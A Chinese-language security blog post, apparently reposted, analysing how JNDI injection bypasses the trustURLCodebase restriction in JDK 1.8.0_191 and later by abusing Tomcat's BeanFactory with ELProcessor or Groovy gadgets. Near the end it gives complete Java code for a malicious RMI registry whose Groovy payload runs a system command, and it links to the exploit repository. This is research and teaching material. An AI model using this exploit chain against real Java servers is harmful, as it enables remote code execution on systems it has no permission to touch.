淺析JNDI注入Bypass


之前在Veracode的這篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到對於JDK 1.8.0_191以上版本JNDI注入的繞過利用思路,簡單分析了下繞過的具體實現,btw也記錄下自己的一些想法,本文主要討論基於Reference對象的利用。

The Past

JDK版本:1.8.0_20

產生JNDI注入的原因簡單來說是lookup方法參數可控,我們首先在Registry中綁定特殊構造的Reference對象,如下圖所示,其中factoryLocation是我們遠程類的地址。

然后將我們Registry的地址傳入lookup方法中,下圖是低版本JDK中JNDI注入payload的觸發過程,lookup方法中調用了decodeObject方法,又進入到NamingManager.getObjectInstance方法

在getObjectInstance方法中319行,首先調用了getObjectFactoryFromReference方法,然后又調用了factory對象的getObjectInstance方法

在getObjectFactoryFromReference方法中動態加載了我們的遠程類並將其實例化,而遠程類是我們完全可控的,實例化的過程中會進行類的初始化並調用其構造方法,這就導致靜態代碼塊或構造方法中的代碼得以執行。

The Present

JDK版本:1.8.0_191

高版本JDK對JNDI注入類威脅的防護主要體現在限制了遠程類的加載,在decodeObject方法中,調用NamingManager.getObectInstance方法前加入了對factoryLocation和trustURLCodebase的判斷,trustURLCodebase默認為false,如圖所示,

多個判斷語句是與的邏輯關系,則可構造factoryLocation == null,使程序進入NamingManager.getObjectInstance方法,然后進入到getObjectFactoryFromReference方法中進行類的加載和實例化,如下圖所示這塊兒的邏輯是這樣的,首先通過本地的類加載器去classpath中加載目標類,若classpath中無目標類的定義,則調用loadClass(factoryName, codebase)遠程加載我們構造的特定類,類加載完成后通過反射將其實例化,然后在調用該對象的getObjectInstance方法。

但是若構造factoryLocation為空繞過trustURLCodebase的限制,則無法通過loadClass(factoryName, codebase)遠程加載我們構造的特定類。

這時整體的繞過思路變成了加載一個目標機器classpath中存在的類,然后將其實例化,調用其getObjectInstance方法時實現代碼執行。

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
        throws Exception;
}

這個類首先要實現ObjectFactory接口,並且其getObjectInstance方法實現中有可以被用來構造exp的邏輯。

Veracode的博客中使用了org.apache.naming.factory.BeanFactory類,Tomcat容器本身是被廣泛使用的,所以可利用性還是很強的。其RMIServer實現如下:

下面具體分析下BeanFactory類getObjectInstance方法實現,其參數中obj、name可控。

首先在前半部分代碼從obj中取出我們構造的Reference對象,加載了我們指定的類並通過newInstance()調用指定類的無參構造方法將其實例化,

Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = 
    Thread.currentThread().getContextClassLoader();
if (tcl != null) {
    try {
        beanClass = tcl.loadClass(beanClassName);
    } catch(ClassNotFoundException e) {
    }
} else {
    try {
        beanClass = Class.forName(beanClassName);
    } catch(ClassNotFoundException e) {
        e.printStackTrace();
    }
}
·····
Object bean = beanClass.newInstance();

然后取出key為“forceString”的RefAddr對象中的content,對其進一步解析,content是字符串,其中可以指定多個方法用逗號分隔,如”x=eval,y=run“,解析時會將eval方法和run方法放入HashMap對象中

RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<String, Method>();
String value;

if (ra != null) {
    value = (String)ra.getContent();
    Class<?> paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;

    /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                         param.substring(1);
        }
        try {
            forced.put(param,
                       beanClass.getMethod(setterName, paramTypes));

接下來會通過反射執行我們指定的之前構造的方法,並可以傳入一個字符串類型的參數

Enumeration<RefAddr> e = ref.getAll();

while (e.hasMoreElements()) {
    
    ra = e.nextElement();
    String propName = ra.getType();
    
    if (propName.equals(Constants.FACTORY) ||
        propName.equals("scope") || propName.equals("auth") ||
        propName.equals("forceString") ||
        propName.equals("singleton")) {
        continue;
    }
    
    value = (String)ra.getContent();
    
    Object[] valueArray = new Object[1];
    
    /* Shortcut for properties with explicitly configured setter */
    Method method = forced.get(propName);
    if (method != null) {
        valueArray[0] = value;
        try {
            method.invoke(bean, valueArray);
        }

總結一下實現代碼執行的幾個條件,首先要注入一個含有無參構造方法的beanClass,當然這個beanClass要classpath中存在的,其次beanClass中要有直接或間接執行代碼的方法,並且方法只能傳入一個字符串參數。

Veracode的博客中構造的beanClass是javax.el.ELProcessor,ELProcessor中有個eval(String)方法可以執行EL表達式,正好符合上述條件,當然也是有限制的,javax.el.ELProcessor本身是Tomcat8中存在的庫,所以僅限Tomcat8及更高版本環境下可以通過javax.el.ELProcessor進行攻擊,對於使用廣泛的SpringBoot應用來說,可被利用的Spring Boot Web Starter版本應在1.2.x及以上,因為1.1.x1.0.x內置的是Tomcat7。

The Future

除了javax.el.ELProcessor,當然也還有很多其他的類符合條件可以作為beanClass注入到BeanFactory中實現利用。舉個例子,如果目標機器classpath中有groovy的庫,則可以結合之前Orange師傅發過的Jenkins的漏洞實現利用https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html,直接給出RMIRegistry的代碼:

public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1097");
    Registry registry = LocateRegistry.createRegistry(1097);
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=parseClass"));
    String script = "@groovy.transform.ASTTest(value={\n" +
        "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
        "})\n" +
        "def x\n";
    ref.add(new StringRefAddr("x",script));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("Object", referenceWrapper);
}

如果能有一個JDK中的類符合條件,可攻擊面就更大了,可惜我在嘗試構造exp的過程中並沒有找到相關可利用的類,但是與第三方庫的組合利用方法還是很多的,上面只是舉了其中一個例子,感興趣的朋友可以一起探討,上述代碼地址:https://github.com/welk1n/JNDI-Injection-Bypass。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM